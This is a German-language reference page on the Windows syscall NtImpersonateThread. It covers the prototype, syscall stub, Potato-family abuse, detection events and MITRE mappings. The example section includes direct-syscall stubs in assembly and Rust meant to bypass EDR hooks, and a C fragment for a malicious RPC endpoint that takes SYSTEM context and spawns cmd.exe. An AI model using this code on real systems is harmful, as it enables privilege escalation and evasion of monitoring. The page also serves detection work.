NtImpersonateThread

Prototyp

NTSTATUS NtImpersonateThread(
  HANDLE                       ServerThreadHandle,
  HANDLE                       ClientThreadHandle,
  PSECURITY_QUALITY_OF_SERVICE SecurityQos
);

Argumente

Syscall-IDs pro Windows-Version

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 06 01 00 00      mov eax, 0x106
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

NtImpersonateThread ist die *direkte* Thread-zu-Thread-Impersonations-Primitive — kein Zwischen-Token-Handle nötig. Es ist der Aufruf, den die LRPC- / ALPC-Server-Runtime ausführt, wenn eine RPC-Methode `[in] handle_t` deklariert und der Aufrufer ausreichend privilegiert ist, um impersoniert zu werden. Anders als der Token-Handle-Weg (NtOpenProcessTokenEx -> NtDuplicateToken -> NtSetInformationThread) erfasst dieser einzelne Aufruf den effektiven Sicherheitskontext des Client-Threads atomar. Der SSN driftet bei nahezu jedem Build — `0xEE` auf Windows 10 1507, `0x106` auf Windows 11 24H2 — daher ist dynamische SSN-Auflösung für portable Tools Pflicht.

Häufige Malware-Nutzung

Die kernelseitige Seele der gesamten **Potato-Familie** (HotPotato, RottenPotato, JuicyPotato, RoguePotato, PrintSpoofer, SweetPotato, RemotePotato0, GodPotato). Angriffsmuster: Einen SYSTEM-Dienst (Print Spooler, MSDTC, RPCSS, BITS) dazu bringen, einen authentifizierten RPC-Aufruf an einen lokalen bösartigen Endpoint zu senden; dieser ruft dann `NtImpersonateThread(NtCurrentThread, callerThread, &qos{SecurityImpersonation})` auf und übernimmt den SYSTEM-Kontext. Da `SeImpersonatePrivilege` den meisten Service-Konten (LOCAL SERVICE, NETWORK SERVICE, IIS-Application-Pool-Identities) bereits gewährt ist, schlägt diese einzige Primitive die Brücke SERVICE -> SYSTEM. Dieselbe Funktion nutzen Cobalt-Strike-`make_token`-BOF-Varianten, die direkt einen Ziel-Thread statt eines Prozess-Tokens impersonieren.

Erkennungs­möglichkeiten

Hochwertiges Detection-Ziel. Windows-Security-Event **4624 mit Logon Type 3** + Impersonation-Level `Impersonation` (3) oder `Delegation` (4) protokolliert den Kontextwechsel. Wichtiger: Der ETW-Provider `Microsoft-Windows-RPC` emittiert serverseitig `EVENT_ID 5` (RpcServerImpersonateClient) — die Korrelation eines unerwarteten RPC-Servers, der einen hochprivilegierten Client impersoniert, ist die kanonische Potato-Detection. Event **4673** (Sensitive Privilege Use, SeImpersonatePrivilege) feuert bei Ausübung des Privilegs. EDRs hooken `ntdll!NtImpersonateThread`; direkte Syscalls umgehen das, aber der kernelseitige Audit-Trail und das RPC-ETW bleiben. Beobachten: Nicht-IIS-, Nicht-Print-Spooler-, Nicht-MSDTC-Prozesse, die diesen Aufruf gegen fremde Threads ausführen.

Direkte Syscall-Beispiele

; NOTE: SSN moves every build — resolve dynamically for portability.
NtImpersonateThread PROC
    mov  r10, rcx          ; ServerThreadHandle
    mov  eax, 106h         ; SSN on Win11 24H2
    syscall
    ret
NtImpersonateThread ENDP

// Inside a malicious local RPC endpoint reached by a coerced SYSTEM service.
// The current thread is servicing the RPC; the caller's thread carries SYSTEM context.
SECURITY_QUALITY_OF_SERVICE qos = {
    .Length = sizeof(qos),
    .ImpersonationLevel = SecurityImpersonation,
    .ContextTrackingMode = SECURITY_STATIC_TRACKING,
    .EffectiveOnly = FALSE,
};

// hClientThread was obtained via RpcImpersonateClient + OpenThread on the caller,
// or directly from an LPC port message.
NTSTATUS s = NtImpersonateThread(NtCurrentThread(),
                                 hClientThread,
                                 &qos);
if (NT_SUCCESS(s)) {
    // We are now SYSTEM on this thread. CreateProcessAsUserW with the duplicated
    // token gives us a SYSTEM-context cmd.exe.
    HANDLE hTok;
    NtOpenThreadTokenEx(NtCurrentThread(),
                        TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY,
                        TRUE, 0, &hTok);
    // ... NtDuplicateToken -> CreateProcessAsUserW("cmd.exe")
}

// Direct-syscall NtImpersonateThread used inside a Potato-style RPC server.
use std::arch::asm;
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::SECURITY_QUALITY_OF_SERVICE;

#[unsafe(naked)]
pub unsafe extern "system" fn nt_impersonate_thread(
    _server: HANDLE,
    _client: HANDLE,
    _qos: *mut SECURITY_QUALITY_OF_SERVICE,
) -> i32 {
    asm!(
        "mov r10, rcx",
        "mov eax, 0x106",      // Win11 24H2; resolve dynamically in real loaders
        "syscall",
        "ret",
        options(noreturn),
    );
}

// Higher-level helper kept short for clarity.
pub unsafe fn become_caller(server: HANDLE, client: HANDLE) -> bool {
    let mut qos = SECURITY_QUALITY_OF_SERVICE {
        Length: std::mem::size_of::<SECURITY_QUALITY_OF_SERVICE>() as u32,
        ImpersonationLevel: 2, // SecurityImpersonation
        ContextTrackingMode: 0, // STATIC
        EffectiveOnly: 0,
    };
    nt_impersonate_thread(server, client, &mut qos) == 0
}

MITRE ATT&CK-Mappings

• T1134Access Token Manipulationmitre ↗
• T1134.001Token Impersonation/Theftmitre ↗
• T1134.003Make and Impersonate Tokenmitre ↗
• T1106Native APImitre ↗